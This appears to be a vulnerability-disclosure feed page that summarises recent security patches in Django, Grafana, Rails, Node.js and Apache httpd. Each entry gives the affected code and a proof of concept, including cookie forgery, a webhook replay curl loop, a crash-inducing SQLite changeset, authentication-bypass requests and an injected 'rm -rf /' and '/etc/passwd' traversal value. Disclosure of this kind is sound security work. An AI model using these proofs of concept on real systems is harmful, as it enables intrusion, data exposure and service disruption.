📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Saturday, June 27, 2026

📋 Today’s Briefing

259
Total Findings
71
Confirmed CVEs
129
Verified
0
Unverified
59
False Positives
CRITICAL: 3 HIGH: 107 MEDIUM: 78 LOW: 12
71 CVE matched
56 found before CVE
2 avg lead (days)
27 max lead (days)

CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-6873 Cookie Forgery / Signed Cookie Namespace Collision

Jun 3, 2026, 04:12 PM — django/django

Patch landed 42 minutes after CVE published

Commit: 3328078a01f5268f9b8659f56fd28c5a2ed083dc

Author: Jacob Walls

Django's signed cookie salt derivation historically used `cookie_name + salt` (concatenation), which is ambiguous: a cookie named 'a' with salt 'bc' produces the same salt string as a cookie named 'ab' with salt 'c'. This means a valid signed cookie for one (name, salt) pair could be submitted as a valid cookie for a different (name, salt) pair, allowing an attacker to reuse a legitimately obtained signed cookie value in an unintended context. The patch changes the default of SIGNED_COOKIE_LEGACY_SALT_FALLBACK from True to False, so Django now only accepts cookies signed with the unambiguous new salt derivation by default.

🔍 View Affected Code & PoC

Affected Code

SIGNED_COOKIE_LEGACY_SALT_FALLBACK = True

Proof of Concept

# With SIGNED_COOKIE_LEGACY_SALT_FALLBACK=True (old default), an attacker can exploit namespace collision:
# 1. Obtain a legitimately signed cookie for cookie name='a', salt='bc' containing value 'hello'
import django.core.signing as signing
from django.http import HttpRequest

# Simulate legitimate signed value for cookie 'a' with salt 'bc'
# Legacy salt = 'a' + 'bc' = 'abc'
legacy_signer = signing.get_cookie_signer(salt='abc')  # old: cookie_name+salt
signed_value = legacy_signer.sign('hello')

# Attacker submits this value as cookie 'ab' with salt 'c'
# Legacy salt = 'ab' + 'c' = 'abc'  <- same!
request = HttpRequest()
request.COOKIES['ab'] = signed_value
# With SIGNED_COOKIE_LEGACY_SALT_FALLBACK=True, this succeeds:
result = request.get_signed_cookie('ab', salt='c')  # returns 'hello' - cookie accepted in wrong context!
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-6873 Signed Cookie Salt Namespace Collision

Jun 3, 2026, 11:37 AM — django/django

📈 Patch landed 3 hours 53 minutes before CVE published

Commit: 70d36515b9cc71700105a14b275583070d48b689

Author: Paul McMillan

Django's get_signed_cookie derived its signing salt by concatenating the cookie name (key) and salt arguments using simple string concatenation: `key + salt`. This meant that distinct (name, salt) pairs that produce the same concatenated string (e.g., name='ab', salt='c' and name='a', salt='bc') would use the same signing namespace, allowing a signed cookie created for one context to be accepted in another. The patch fixes this by using an injective encoding that includes the salt length as a prefix, making it impossible for different (name, salt) pairs to collide.

🔍 View Affected Code & PoC

Affected Code

value = signing.get_cookie_signer(salt=key + salt).sign(value)
# and
value = signing.get_cookie_signer(salt=key + salt).unsign(cookie_value, max_age=max_age)

Proof of Concept

# Server sets a cookie for key='a' with salt='bc':
response.set_signed_cookie('a', 'secret_value', salt='bc')
# This signs with salt = 'a' + 'bc' = 'abc'

# Attacker takes the signed value from cookie 'a' and submits it as cookie 'ab':
request.COOKIES['ab'] = response.cookies['a'].value

# Server reads cookie 'ab' with salt='c':
# This also uses salt = 'ab' + 'c' = 'abc' -- same namespace!
value = request.get_signed_cookie('ab', salt='c')
# Returns 'secret_value' -- cookie accepted in wrong context
# Demonstrated in the test: test_legacy_salt_namespace_is_accepted_by_default
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-7666 Cleartext Transmission of Sensitive Information

Jun 3, 2026, 11:37 AM — django/django

📈 Patch landed 3 hours 53 minutes before CVE published

Commit: df887f50198593a0e5b4638bfddbbd43a30fd276

Author: Jake Howard

When using EMAIL_USE_TLS with fail_silently=True, a failed STARTTLS handshake would leave self.connection set to a partially-initialized SMTP connection that had not completed TLS negotiation. Subsequent email sends would reuse this unencrypted connection, transmitting emails (including credentials and content) in plaintext. The patch fixes this by only setting self.connection after all configuration steps (STARTTLS and login) succeed, using a temporary self._partial_connection during setup.

🔍 View Affected Code & PoC

Affected Code

self.connection = self.connection_class(
    self.host, self.port, **connection_params
)
if not self.use_ssl and self.use_tls:
    self.connection.starttls(context=self.ssl_context)
if self.username and self.password:
    self.connection.login(self.username, self.password)

Proof of Concept

import django
from django.core.mail.backends.smtp import EmailBackend
from unittest import mock

# Simulate a server that accepts connection but fails STARTTLS
# with fail_silently=True (as used by send_mail by default)
backend = EmailBackend(
    host='mail.example.com', port=25, use_tls=True,
    fail_silently=True, alias='test'
)

with mock.patch('smtplib.SMTP.starttls', side_effect=Exception('STARTTLS failed')):
    backend.open()  # Fails silently, but BEFORE patch: self.connection is set to unencrypted socket

# Before patch: backend.connection is not None (unencrypted connection)
# Subsequent send_messages() calls would send email over plaintext SMTP
print(backend.connection)  # Not None before patch - email sent unencrypted
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-8404 Cache Misconfiguration / Sensitive Data Exposure

Jun 3, 2026, 11:37 AM — django/django

📈 Patch landed 3 hours 53 minutes before CVE published

Commit: d618d7ae4fec727d5b582bd24f803c28d17bf7cd

Author: Jake Howard

Django's UpdateCacheMiddleware performed a case-sensitive check for Cache-Control directives like 'private', 'no-cache', and 'no-store'. If a response manually set 'Cache-Control: Private' (or any mixed/uppercase variant), the middleware would fail to recognize it and cache the response anyway, potentially storing and serving private user data to other users. The patch lowercases the Cache-Control header value before checking for these directives.

🔍 View Affected Code & PoC

Affected Code

cache_control = response.get("Cache-Control", ())
if any(
    directive in cache_control
    for directive in (
        "private",

Proof of Concept

# Django view that manually sets Cache-Control with uppercase directive
from django.http import HttpResponse
from django.views.decorators.cache import cache_page

@cache_page(3600)
def private_user_view(request):
    # Developer intends this to be private (not cached)
    response = HttpResponse(f"Secret data for user: {request.user.username}")
    response['Cache-Control'] = 'Private'  # Uppercase 'P'
    return response

# Before the patch:
# 1. User A requests /private/ -> response with 'Cache-Control: Private' is CACHED by UpdateCacheMiddleware
#    because 'Private' != 'private' (case-sensitive check fails)
# 2. User B requests /private/ -> gets User A's cached private data from cache
# The fix lowercases the header before checking: cache_control.lower() makes 'Private' match 'private'
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-35193 Information Disclosure / Cache Poisoning

Jun 3, 2026, 11:37 AM — django/django

📈 Patch landed 3 hours 53 minutes before CVE published

Commit: a2faa8e895926ac5d63f72879b5ccf671b5b4ba9

Author: Jacob Walls

Django's UpdateCacheMiddleware and cache_page decorator failed to add 'Authorization' to the Vary header when caching responses to authenticated requests. This meant that a response generated for an authenticated user (with a specific Authorization header) could be served from cache to unauthenticated users or users with different credentials, potentially leaking private/user-specific data. The patch adds 'Authorization' to the Vary header whenever the request contains an Authorization header and the response is not explicitly marked 'Cache-Control: public'.

🔍 View Affected Code & PoC

Affected Code

if timeout and response.status_code == 200:
    cache_key = learn_cache_key(
        request, response, timeout, self.key_prefix, cache=self.cache
    )

Proof of Concept

# Step 1: Authenticated user requests a resource
import requests
# First request with Authorization header - response gets cached without Vary: Authorization
resp1 = requests.get('https://example.com/private-view/', headers={'Authorization': 'Bearer secret-token'})
# Response contains user-specific data and gets stored in cache keyed only on URL

# Step 2: Unauthenticated user (or different user) requests same URL
resp2 = requests.get('https://example.com/private-view/')
# Cache middleware returns the cached response from step 1, leaking authenticated user's private data
# to an unauthenticated user, because Vary: Authorization was not set
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-48587 Cache Bypass / Improper Input Validation

Jun 3, 2026, 11:37 AM — django/django

📈 Patch landed 3 hours 53 minutes before CVE published

Commit: 42aa0b3364d312e7c6472258d8b0e9c0277fbf22

Author: Jake Howard

The `has_vary_header()` function in Django's cache utility failed to strip whitespace from individual Vary header values before comparison. This meant that a `Vary: *` header with surrounding whitespace (e.g., `Vary: * ` or `Vary: * `) would not be recognized as containing the wildcard, causing `UpdateCacheMiddleware` to cache responses that should never be cached (responses with `Vary: *` should not be cached as they vary on all request headers). This could lead to private/personalized data being stored in and served from the cache to unintended users.

🔍 View Affected Code & PoC

Affected Code

vary_headers = cc_delim_re.split(response.headers["Vary"])
existing_headers = {header.lower() for header in vary_headers}
return header_query.lower() in existing_headers

Proof of Concept

# Before the patch, a response with 'Vary: * ' (trailing space) would be incorrectly cached:
from django.http import HttpResponse
from django.utils.cache import has_vary_header

response = HttpResponse()
response.headers['Vary'] = '* '  # trailing whitespace

# Returns False before patch (should return True)
print(has_vary_header(response, '*'))  # False - bug!

# In UpdateCacheMiddleware, a Vary: * response with whitespace padding
# would NOT be detected as having Vary: *, so it would be stored in cache.
# A subsequent request from a different user could then receive this cached
# response containing another user's private data.

🔥 HIGH VERIFIED Privilege Escalation

Jun 2, 2026, 08:12 PM — grafana/grafana

Commit: 91a48190d0d25ddd6ac649b1f780b07d2b8efc2e

Author: mohammad-hamid

In the IAM K8s role API, a user holding `permissions:type:delegate` had their scope resolved to the wildcard `*` in the RBAC scope map. The `checkPermission` function short-circuited on wildcard presence, allowing a delegate holder to satisfy ANY scope check including `permissions:type:escalate`. This meant a user with only delegate permissions could perform escalate-level operations (granting elevated roles they shouldn't be able to grant). The fix adds `SkipWildcard: true` to the permissions resource mapping and retains the literal `permissions:type:*` scope alongside the resolved wildcard, so exact scope matching is required for permission type checks.

🔍 View Affected Code & PoC

Affected Code

// Wildcard grant, no further checks needed
if scopeMap["*"] {
    return true, nil
}

Proof of Concept

1. Create a user/service account with only `roles:write` permission scoped to `permissions:type:delegate`.
2. The scope `permissions:type:delegate` resolves to `*` in resolveScopeMap, so scopeMap becomes {"*": true}.
3. Call the IAM K8s role API with an escalate operation (e.g., PATCH /apis/iam.grafana.app/v0alpha1/namespaces/org-1/permissions/escalate).
4. checkPermission sees scopeMap["*"] == true and returns true immediately, bypassing the escalate scope requirement.
5. The delegate holder can now assign escalate-level roles, achieving privilege escalation.

⚠️ MEDIUM VERIFIED Information Disclosure

Jun 1, 2026, 05:41 PM — apache/httpd

Commit: 52e6887eced229f562e7cc6599184dcc6fced321

Author: Eric Covener

In Apache httpd's mod_include (Server Side Includes), when a conditional expression (&lt;!--#if expr="..." --&gt;) fails to parse or evaluate, the content inside the if/elif/else block was still being printed to the client despite the error. This meant that content intended to be conditionally hidden could be disclosed to clients who craft malformed SSI expressions. The patch fixes this by setting a new SSI_FLAG_COND_ERROR flag on parse failure and ensuring the printing flag is cleared, so the enclosed content is suppressed.

🔍 View Affected Code & PoC

Affected Code

if (was_error) {
        SSI_CREATE_ERROR_BUCKET(ctx, f, bb);
        return APR_SUCCESS;
    }

Proof of Concept

Given an SSI-enabled .shtml file with content:
<!--#if expr="INVALID_EXPR_@@@@" -->
SECRET_CONTENT_SHOULD_BE_HIDDEN
<!--#endif -->

Before the patch, requesting this file would output 'SECRET_CONTENT_SHOULD_BE_HIDDEN' to the client because the expression parse failure did not clear the SSI_FLAG_PRINTING flag. An attacker could exploit this by crafting requests to pages where sensitive content is inside a conditional block, using a malformed expression string to force the parse to fail and reveal the hidden content.

⚠️ MEDIUM VERIFIED Host Header Injection / Security Control Bypass

Jun 1, 2026, 08:55 AM — rails/rails

Commit: 6c2c9349417a162ba77cc5cd8bde50cdf95e6fd6

Author: Jean Boussier

The HostAuthorization middleware in Rails failed to reject malformed Host headers containing extra port segments (e.g., `www.example.com:80:80`) when the allowed host was configured with an explicit port. Because `sanitize_string` always appended an optional `PORT_REGEX?` suffix, a host like `www.example.com:80` would generate a regex that also matched `www.example.com:80:80`. This allowed attackers to bypass the host allowlist with a malformed Host header, potentially reaching downstream code (such as redirect logic) that constructs URLs from the Host header, enabling open redirect or host header injection attacks. The patch fixes this by not appending an extra optional port segment when the configured host already contains a port.

🔍 View Affected Code & PoC

Affected Code

/\A#{Regexp.escape host}#{PORT_REGEX}?\z/i

Proof of Concept

Configure Rails with: config.hosts = ['www.example.com:80']

Send request: GET / HTTP/1.1\r\nHost: www.example.com:80:80\r\n

Before patch: request passes HostAuthorization (200 OK), and any downstream redirect using `request.host` would redirect to a URL built from `www.example.com:80:80`, potentially exploitable for open redirect or SSRF. After patch: request is blocked with 403 Forbidden.

⚠️ MEDIUM VERIFIED Message Routing Bypass / Information Disclosure

Jun 1, 2026, 08:15 AM — rails/rails

Commit: 185c5f04adc8309b1ea73adb649ae9c876ce19dd

Author: Jean Boussier

The Action Cable PostgreSQL adapter used String#size (character count) instead of String#bytesize (byte count) to determine if a channel name needed hashing before being used as a PostgreSQL identifier. Since PostgreSQL limits identifiers to 63 bytes but the check used character count, multibyte channel names with ≤63 characters but &gt;63 bytes were passed unhashed to PostgreSQL, which silently truncated them. This caused the adapter to subscribe under the full untruncated name but receive notifications under the truncated name, resulting in broadcast messages being misrouted to the wrong channel subscribers. An attacker could craft a channel name that truncates to match a victim's channel name, causing them to receive messages intended for another user.

🔍 View Affected Code & PoC

Affected Code

def channel_identifier(channel)
  channel.size > 63 ? OpenSSL::Digest::SHA1.hexdigest(channel) : channel
end

Proof of Concept

# Attacker subscribes to a channel whose name is the 63-byte truncation of victim's channel
# Victim's channel: ("あ" * 22) = 22 chars, 66 bytes -> truncated by PG to first 63 bytes = "あ" * 21
# Attacker's channel: "あ" * 21 = 21 chars, 63 bytes -> passes size check (21 <= 63), used as-is
# Both map to the same PG LISTEN identifier after truncation

victim_channel = "あ" * 22   # 22 chars, 66 bytes - channel.size=22 <= 63, so NOT hashed
attacker_channel = "あ" * 21  # 21 chars, 63 bytes - used as-is

# PG silently truncates victim_channel to 63 bytes = attacker_channel
# Both are now LISTENing on the same PG identifier
# broadcast(victim_channel, secret_message) -> delivered to attacker_channel subscribers too

⚠️ MEDIUM VERIFIED Cross-Stream Message Delivery / Information Disclosure

Jun 1, 2026, 08:15 AM — rails/rails

Commit: 5b41c8a214a6a9dcf5834db1c76f60f06f7819d9

Author: Kenta Ishizaki

The PostgreSQL Action Cable adapter used `String#size` (character count) instead of `String#bytesize` (byte count) to decide whether to hash a channel identifier. PostgreSQL silently truncates identifiers to 63 bytes, so a multibyte channel name with ≤63 characters but &gt;63 bytes would be passed unhashed to PostgreSQL, which would truncate it. The adapter subscribes using the full unhashed name but receives notifications under the truncated name, causing broadcasts to the long channel to be delivered to whichever subscriber holds the 63-byte truncation of that name — enabling cross-stream message delivery to unintended subscribers.

🔍 View Affected Code & PoC

Affected Code

def channel_identifier(channel)
  channel.size > 63 ? OpenSSL::Digest::SHA1.hexdigest(channel) : channel
end

Proof of Concept

# Attacker subscribes to channel named 'あ' * 21 (21 chars, 63 bytes)
# Victim subscribes to channel named ('あ' * 30) + 'X' (31 chars, 91 bytes)
# PostgreSQL truncates the 91-byte name to 63 bytes = 'あ' * 21
# Both LISTEN on the same PostgreSQL channel due to truncation
# When victim's channel is broadcast to, attacker receives the message:
#
# long_channel = ('あ' * 30) + 'X'   # 31 chars, 91 bytes
# short_channel = 'あ' * 21           # 21 chars, 63 bytes (== truncation of long)
# adapter.subscribe(short_channel, attacker_callback)
# adapter.broadcast(long_channel, 'secret payload')
# => attacker_callback receives 'secret payload'

🔥 HIGH VERIFIED TOCTOU Race Condition / Undefined Behavior

May 30, 2026, 03:40 PM — nodejs/node

Commit: 17e41962a7ec0d0af105936e9655545377c39e18

Author: Antoine du Hamel

When a Node.js Buffer is backed by a SharedArrayBuffer, another thread can modify the underlying memory between the validation step (validate_utf8) and the conversion step (convert_valid_utf8_to_utf16) in StringBytes::Encode. This TOCTOU race condition can cause undefined behavior, potential memory corruption, or incorrect string encoding. The patch copies SharedArrayBuffer-backed data before processing to prevent concurrent modification.

🔍 View Affected Code & PoC

Affected Code

ArrayBufferViewContents<char> buffer(args[0]);
// ...
const char* data = buffer.data();
size_t length = buffer.length();
// Data is read multiple times without protection against concurrent modification
if (StringBytes::Encode(isolate, buffer.data() + start, length, encoding)

Proof of Concept

// Worker thread continuously modifies shared buffer
const { Worker, isMainThread, workerData } = require('worker_threads');
if (isMainThread) {
  const sab = new SharedArrayBuffer(1024);
  const buf = Buffer.from(sab);
  // Fill with valid UTF-8
  buf.fill(0x41);
  const worker = new Worker(__filename, { workerData: { sab } });
  // Main thread repeatedly calls toString() while worker mutates the buffer
  setInterval(() => {
    try { buf.toString('utf8'); } catch(e) {}
  }, 0);
} else {
  const arr = new Uint8Array(workerData.sab);
  // Rapidly alternate between valid multi-byte UTF-8 sequences and invalid bytes
  // to trigger UB between validate_utf8 and convert_valid_utf8_to_utf16
  while (true) {
    arr.fill(0xC0); // invalid lead byte
    arr.fill(0x41); // valid ASCII
  }
}

⚠️ MEDIUM VERIFIED Credentials Exposure / Cleartext Token Transmission

May 29, 2026, 05:07 PM — grafana/grafana

Commit: bb674a5354d9bba7d9d419396f683af5b40c9be5

Author: Roberto Jiménez Sánchez

When a user configured a git repository with an `http://` URL and a personal access token (PAT), the token was transmitted in cleartext on every git operation because `git.NewRepository` adds basic auth unconditionally regardless of the URL scheme. The validators never rejected this combination, meaning tokens could be intercepted by network observers. The patch adds validation that rejects `http://` URLs when a token is configured (unless explicitly allowed via `allow_insecure` flag or development mode).

🔍 View Affected Code & PoC

Affected Code

func ValidateGitConfigFields(repo *provisioning.Repository, url, branch, path string) field.ErrorList {
    var list field.ErrorList
    // ... no check for http:// + token combination
    // Token would be sent in cleartext on every git operation

Proof of Concept

Configure a Grafana provisioning repository with:
  URL: http://attacker-controlled-proxy.example.com/repo.git
  Token: ghp_secretPersonalAccessToken123

Any network observer (or the proxy itself) between Grafana and the git server would receive HTTP requests with header:
  Authorization: Basic base64(user:ghp_secretPersonalAccessToken123)

The token travels in cleartext (base64 is not encryption), enabling token theft and subsequent unauthorized repository access. Before the patch, no validation prevented this configuration.

💡 LOW VERIFIED Broken Access Control / Improper Authorization

May 29, 2026, 02:19 PM — grafana/grafana

Commit: 407c1ffd5634ae5a9b45c6b8ee02e773c2aff264

Author: Lauren

The Alert Group edit route was registered with only read-level permissions (AlertingRuleRead/AlertingRuleExternalRead), meaning Viewer-role users could navigate directly to the edit URL and interact with the editable group form. While the backend correctly returned 403 on save attempts, the frontend exposed the full edit UI to unauthorized users. The patch changes the route guard to require AlertingRuleUpdate/AlertingRuleExternalWrite, aligning it with other edit routes.

🔍 View Affected Code & PoC

Affected Code

roles: evaluateAccess([AccessControlAction.AlertingRuleRead, AccessControlAction.AlertingRuleExternalRead]),

Proof of Concept

1. Log in as a Viewer-role user in Grafana.
2. Navigate directly to: /alerting/<dataSourceUid>/namespaces/<namespaceId>/groups/<groupName>/edit
3. The full editable Alert Group form loads successfully (not blocked by the route guard).
4. The Viewer can view and manipulate all form fields; only clicking Save reveals the 403 from the backend.
Expected (before patch): Edit UI fully accessible to Viewers. After patch: Route guard redirects Viewers away before the edit UI loads.

⚠️ MEDIUM VERIFIED Replay Attack

May 29, 2026, 01:57 PM — grafana/grafana

Commit: 4627641de37c91581f1656cdfd9d9e7a4c9553c1

Author: Roberto Jiménez Sánchez

GitHub provisioning webhooks were authenticated by HMAC signature only, but the HMAC covers only the request body (not headers or timestamps). This means a captured (body, X-Hub-Signature-256) tuple could be replayed indefinitely until the webhook secret rotates, causing repeated re-enqueueing of sync jobs. The patch adds a TTL-bounded replay cache keyed on the validated signature, silently dropping previously-seen signed requests.

🔍 View Affected Code & PoC

Affected Code

func (r *githubWebhookRepository) Webhook(ctx context.Context, req *http.Request) (*provisioning.WebhookResponse, error) {
    // ... signature validation ...
    // No replay protection — validated request goes straight to parseWebhook
    return r.parseWebhook(ctx, github.WebHookType(req), payload)
}

Proof of Concept

# Capture a legitimate webhook delivery:
curl -X POST https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-repo/webhook \
  -H 'X-GitHub-Event: push' \
  -H 'X-Hub-Signature-256: sha256=<captured_signature>' \
  -H 'Content-Type: application/json' \
  -d '{"ref":"refs/heads/main","repository":{"full_name":"org/repo"}}'

# Replay the same request repeatedly with different X-GitHub-Delivery IDs:
for i in $(seq 1 100); do
  curl -X POST https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-repo/webhook \
    -H 'X-GitHub-Event: push' \
    -H 'X-Hub-Signature-256: sha256=<captured_signature>' \
    -H 'X-GitHub-Delivery: fake-delivery-'$i \
    -H 'Content-Type: application/json' \
    -d '{"ref":"refs/heads/main","repository":{"full_name":"org/repo"}}'
done
# Each replay enqueues a new sync job, causing resource exhaustion / DoS

⚠️ MEDIUM VERIFIED Authorization Bypass / Missing Permission Check

May 29, 2026, 10:39 AM — grafana/grafana

Commit: 81bc63f986401fb0f28c690e6955480ee1934b85

Author: Ezequiel Victorero

The `SnapshotPublicModeOrCreate` and `SnapshotPublicModeOrDelete` middleware functions called `ac.Middleware(ac2)(ac.EvalPermission(...))` which returned a new HTTP handler but never invoked it, effectively making the RBAC permission check dead code. Any authenticated user could create or delete snapshots regardless of whether they had the required permissions (`snapshots:create` or `snapshots:delete`). The patch fixes this by directly calling `ac2.Evaluate()` and properly enforcing the permission check.

🔍 View Affected Code & PoC

Affected Code

ac.Middleware(ac2)(ac.EvalPermission(dashboards.ActionSnapshotsCreate))
// and
ac.Middleware(ac2)(ac.EvalPermission(dashboards.ActionSnapshotsDelete))

Proof of Concept

A user with no snapshot permissions can create/delete snapshots:
1. Log in as a user without 'snapshots:create' or 'snapshots:delete' RBAC permissions
2. POST /api/snapshots — the SnapshotPublicModeOrCreate middleware passes through (permission check was never invoked), allowing snapshot creation
3. DELETE /api/snapshots/<key> — the SnapshotPublicModeOrDelete middleware passes through, allowing snapshot deletion
Expected: 403 Forbidden. Actual (before patch): 200 OK, action succeeds.

🔥 HIGH VERIFIED Broken Access Control / Authorization Bypass

May 28, 2026, 09:37 PM — grafana/grafana

Commit: a88567fff8e67bf2e48c95efc5406cf66b656294

Author: Ryan McKinley

The `GetDataSourcesByType` method in Grafana's datasource service returned all datasources of a given type without checking the caller's `datasources:read` permissions. An authenticated user with access to the API endpoint that internally calls `GetDataSourcesByType` (e.g., `ListConnections` with a plugin filter) could enumerate and read metadata for datasources they are not authorized to access. The patch adds per-datasource permission evaluation using the requester's access control scopes before returning results.

🔍 View Affected Code & PoC

Affected Code

func (s *Service) GetDataSourcesByType(ctx context.Context, query *datasources.GetDataSourcesByTypeQuery) ([]*datasources.DataSource, error) {
    // ...
    return s.SQLStore.GetDataSourcesByType(ctx, query)  // No authz check!
}

Proof of Concept

A user with permissions to read only datasource UID 'aaa' calls:
GET /api/datasources/proxy (or any endpoint calling ListConnections with Plugin='graphite')

Before patch: GetDataSourcesByType returns ALL datasources of type 'graphite' regardless of user permissions, leaking names/UIDs/configs of datasources the user should not see.

After patch: Only datasources where the user has 'datasources:read' with matching scope UID are returned.

Example: User has permissions {datasources:read: [datasources:uid:aaa]} but ListConnections(plugin='graphite') returned datasources with UIDs 'aaa', 'bbb', 'ccc' — exposing 'bbb' and 'ccc' to unauthorized user.

🔥 HIGH VERIFIED Insecure Direct Object Reference / Missing Authorization

May 28, 2026, 03:20 PM — grafana/grafana

Commit: 0ad90635e8f05ee941357bcb5e926b6f13f80344

Author: Ezequiel Victorero

Before the patch, the DELETE endpoint for short URLs in the Kubernetes storage backend deleted by UID alone without scoping to the caller's org ID. This meant a user in one organization could delete short URLs belonging to another organization by simply knowing or guessing the UID. The patch adds org_id scoping to the DELETE SQL query, ensuring users can only delete short URLs within their own organization.

🔍 View Affected Code & PoC

Affected Code

var rawSql = "DELETE FROM short_url WHERE uid = ?"

if result, err := session.Exec(rawSql, cmd.Uid); err != nil {

Proof of Concept

Org 1 user creates a short URL with UID 'abc123'. Org 2 user calls DELETE /apis/shorturl.grafana.app/v1beta1/namespaces/org-2/shorturls/abc123 — because the legacy storage Delete function previously called DeleteStaleShortURLs with only the UID (no OrgId), the SQL executed 'DELETE FROM short_url WHERE uid = ?', which would delete the short URL belonging to Org 1 even though the requester is in Org 2.

🔥 HIGH VERIFIED Privilege Escalation / Missing Authorization Check

May 28, 2026, 02:57 PM — grafana/grafana

Commit: e877b082249486ec2d4c719baa168479823fb6c4

Author: Mustafa Sencer Özcan

Before this patch, the `validateOnUpdate` function in the Grafana folder API did not perform any access escalation check when a folder was moved to a new parent. This allowed an authenticated user (e.g., an Editor in a target folder) to move a folder they had write access to into a destination folder where they had higher privileges than at the source, effectively gaining elevated permissions over the folder's contents transitively. The patch adds a `checkMoveAccess` call that uses a BatchCheck to compare the user's permission tier at the old parent vs. the new parent and blocks moves that would result in privilege escalation.

🔍 View Affected Code & PoC

Affected Code

return validateOnUpdate(ctx, f, old, b.storage, b.parents, b.searcher, b.maxNestedFolderDepth)

Proof of Concept

Scenario: User is an Admin in folder 'high-priv-folder' but only a Viewer in folder 'low-priv-folder'. A sub-folder 'victim-folder' exists under 'low-priv-folder'. Before the patch: PATCH /apis/folder.grafana.app/v1/namespaces/default/folders/victim-folder with body setting grafana.app/folder annotation to 'high-priv-folder'. The move succeeds without checking that the user gains Admin-tier access over 'victim-folder' and all its contents (dashboards, library panels, alerts) at the new location. After the move, the user has Admin access to 'victim-folder' contents inherited from 'high-priv-folder', escalating from Viewer to Admin on those resources.

⚠️ MEDIUM VERIFIED Parameter Injection / Input Validation Bypass

May 28, 2026, 10:23 AM — grafana/grafana

Commit: 8a8623b2fc6277264b3eecbd3a86c7cae8811328

Author: Roberto Jiménez Sánchez

The `ref` query parameter in the `history` and `files` endpoints was forwarded directly to backends (including the GitHub REST API) without any validation. An attacker could supply a malicious `ref` value containing shell metacharacters, path traversal sequences, or other dangerous strings that would be passed as-is to api.github.com or local git operations. The patch adds validation at the connector layer, rejecting any `ref` that isn't a valid branch name or commit SHA before reaching any backend.

🔍 View Affected Code & PoC

Affected Code

query := r.URL.Query()
ref := query.Get("ref")
// ref is passed directly to the backend with no validation

Proof of Concept

GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-repo/history/dashboard.json?ref=main%3B%20rm%20-rf%20%2F

Or for the files endpoint:
GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-repo/files/dashboard.json?ref=..%2F..%2Fetc%2Fpasswd

Before the patch, the string 'main; rm -rf /' or '../../../etc/passwd' would be forwarded to the GitHub API as the SHA/ref parameter or to local git operations without sanitization.

🔥 HIGH VERIFIED NULL Pointer Dereference / Memory Corruption

May 28, 2026, 04:56 AM — nodejs/node

Commit: d8ac30125b39938789630cd307d89c9defec6a9b

Author: Junsu Han

The SQLite session extension had a bug where applying a malformed/corrupt UPDATE changeset that omits old values for primary-key columns would pass NULL to sessionBindValue(). Before the patch, the condition `p-&gt;abPK\[i\] || (bPatchset==0 && pOld)` would evaluate to true for primary-key columns regardless of whether pOld was NULL, causing NULL to be passed to sessionBindValue() which could crash the process. The fix adds a NULL check on pOld first: `pOld && (p-&gt;abPK\[i\] || bPatchset==0)`, ensuring NULL is never passed.

🔍 View Affected Code & PoC

Affected Code

if( p->abPK[i] || (bPatchset==0 && pOld) ){
  rc = sessionBindValue(pUp, i*2+2, pOld);
}

Proof of Concept

const { DatabaseSync } = require('node:sqlite');
const database = new DatabaseSync(':memory:');
database.exec('CREATE TABLE t1(a INTEGER PRIMARY KEY, b, c, d)');
// Malformed changeset that omits old values for primary-key columns
const changeset = Buffer.from('540401000000743100177e0072286565286565', 'hex');
// Before patch: crashes Node.js process due to NULL dereference in sessionBindValue
// After patch: throws 'database disk image is malformed' error (SQLITE_CORRUPT)
database.applyChangeset(changeset);

🔥 HIGH VERIFIED Authentication Bypass

May 28, 2026, 01:36 AM — rails/rails

Commit: b76f84fe3d6741cfd2b50589dc3b06e575ed0ffc

Author: Rafael Mendonça França

The Mailgun ingress authentication could be bypassed by sending the `signature` parameter as an array instead of a string. When `signature` is an array, `ActiveSupport::SecurityUtils.secure_compare` raises an exception before returning 401 Unauthorized, causing the request to result in a 500 error rather than an authentication failure. This means an attacker could bypass authentication entirely by sending a malformed signature parameter. The fix adds a type check to ensure `signature` is a String before performing the comparison, returning 401 for non-string values.

🔍 View Affected Code & PoC

Affected Code

def signed?
  ActiveSupport::SecurityUtils.secure_compare signature, expected_signature
end

Proof of Concept

POST /rails/action_mailbox/mailgun/inbound_emails/mime HTTP/1.1
Content-Type: application/x-www-form-urlencoded

timestamp=1539112500&token=7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi&signature[]=invalid_sig&body-mime=<raw_email_content>

# This sends signature as an array, causing secure_compare to raise an exception
# instead of returning 401 Unauthorized, effectively bypassing authentication
# and allowing unauthenticated email injection into the system

🔥 HIGH VERIFIED Broken Access Control / Authorization Bypass

May 27, 2026, 09:41 PM — grafana/grafana

Commit: ab1ffd506254124c9212eb1a880a49092e40ebd1

Author: Ryan McKinley

In the ruler export endpoints, a user with folder read access (folders:read) but without rule-level access (alert.rules:read) could enumerate and read alert rules from folders they should be denied access to. In getRulesWithFolderFullPathInFolders, when explicit folderUIDs were provided, the old code only checked folder visibility but not rule-level authorization; it silently dropped inaccessible folders instead of denying — but the actual searchAuthorizedAlertRules call was passed the raw folderUIDs list rather than the filtered query.NamespaceUIDs. In getRuleGroupWithFolderFullPath, lacking rule access caused an ErrAlertRuleNotFound which mapped to 500 rather than 403, leaking information. The patch adds explicit AuthorizeAccessInFolder checks before rule retrieval.

🔍 View Affected Code & PoC

Affected Code

for _, folderUID := range folderUIDs {
    if _, ok := folders[folderUID]; ok {
        query.NamespaceUIDs = append(query.NamespaceUIDs, folderUID)
    }
}
if len(query.NamespaceUIDs) == 0 {
    return nil, authz.NewAuthorizationErrorGeneric("access rules in the specified folders")
}

Proof of Concept

